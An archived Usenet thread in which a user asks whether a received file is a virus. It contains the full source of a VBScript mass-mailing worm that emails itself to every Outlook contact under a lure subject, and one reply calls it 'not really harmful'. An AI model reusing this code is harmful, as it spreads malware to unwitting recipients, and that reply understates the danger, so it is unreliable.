Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

is this a virus

5 views
Skip to first unread message

Bastian Schneider

unread,
Sep 4, 2011, 8:03:20 PM9/4/11
to
a friend send me the file.


'Worm Name: Braindead
'Written By: Hitschicker
'[INDRA]
On Error Resume Next
rbdneknwuemeawm = WScript.ScriptFullName
Set eabuaicrxqkrkia = CreateObject("WScript.Shell")
Set idptntaqeydpept = CreateObject("Outlook.Application")
If idptntaqeydpept <> "" Then
Set ahvxglgdqeemqir = idptntaqeydpept.GetNameSpace("MAPI")
For iyurixkuhotefuy = 1 to ahvxglgdqeemqir.AddressLists.Count
Set wggjhssyjatwumy = idptntaqeydpept.CreateItem(0)
Set afnsbhyjkdhufts = ahvxglgdqeemqir.AddressLists.Item(iyurixkuhotefuy)
wggjhssyjatwumy.Attachments.Add rbdneknwuemeawm
wggjhssyjatwumy.Subject = "The Newest Pic from nakad Ricky Martin"
wggjhssyjatwumy.Body = "Hello Guys!"
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + "I have send you the
hottest Pics from "
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + "Ricky Martin"
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + ""
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + "regards thommy"
Set ylmfdwailohaldd = afnsbhyjkdhufts.AddressEntries
Set wmmrcajdwrtrgfr = wggjhssyjatwumy.Recipients
For haneyudskybxmac = 1 to ylmfdwailohaldd.Count
wggjhssyjatwumy.Recipients.Add ylmfdwailohaldd.Item(haneyudskybxmac)
Next
wggjhssyjatwumy.Send
Next
End If
'Generated with [INDRA] v0.4.


FromTheRafters

unread,
Sep 4, 2011, 8:54:42 PM9/4/11
to

You can do some simple find|replace text stuff to clean it up as it is
only slightly obfuscated.

NiTo

unread,
Sep 29, 2011, 7:41:40 AM9/29/11
to
Mon, 05 Sep 2011 02:03:20 +0200, Bastian Schneider
This is a MS Windows VBScript which should access the Outlook application
on your computer
then open the default account's address book and send to all contacts the
following email:

[Subject]: The Newest Pic from nakad Ricky Martin
[Attached]: This script
[Object]
Hello Guys!
I have send you the hottest Pics from
Ricky Martin

regards thommy


Not really harmful, and would do nothing if you don't have an Outlook
address book on your
computer (depending if you have ever used Outlook or not)

NiTo

unread,
Sep 29, 2011, 7:41:37 AM9/29/11
to
Mon, 05 Sep 2011 02:03:20 +0200, Bastian Schneider
<starobse...@a1.net> wrote:

This is a MS Windows VBScript which should access the Outlook application
on your computer
then open the default account's address book and send to all contacts the
following email:

[Subject]: The Newest Pic from nakad Ricky Martin
[Attached]: This script
[Object]
Hello Guys!
I have send you the hottest Pics from
0 new messages